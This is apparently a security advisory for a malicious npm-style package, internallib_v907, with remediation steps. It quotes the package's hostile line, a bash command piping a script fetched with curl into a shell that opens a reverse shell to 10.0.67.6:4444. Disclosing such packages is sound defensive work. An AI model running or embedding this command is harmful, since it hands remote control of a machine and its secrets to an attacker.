## What is MAL-2026-10691?

MAL-2026-10691 is a malicious package in internallib_v907, published on 15 Jul 2026. 

### Official description

index.js line 5 invokes exec('/bin/bash -c "curl https://reverse-shell.sh/... | sh"'), piping a remote script directly into a shell. The fetched payload establishes a reverse shell to the hardcoded endpoint 10.0.67.6:4444, giving a remote operator interactive shell access on the host running the package. The destination is not caller-configurable, no integrity check is performed on the fetched script, and the package name (internallib_v907) does not correspond to any documented functionality that would justify remote shell execution.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-10691?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
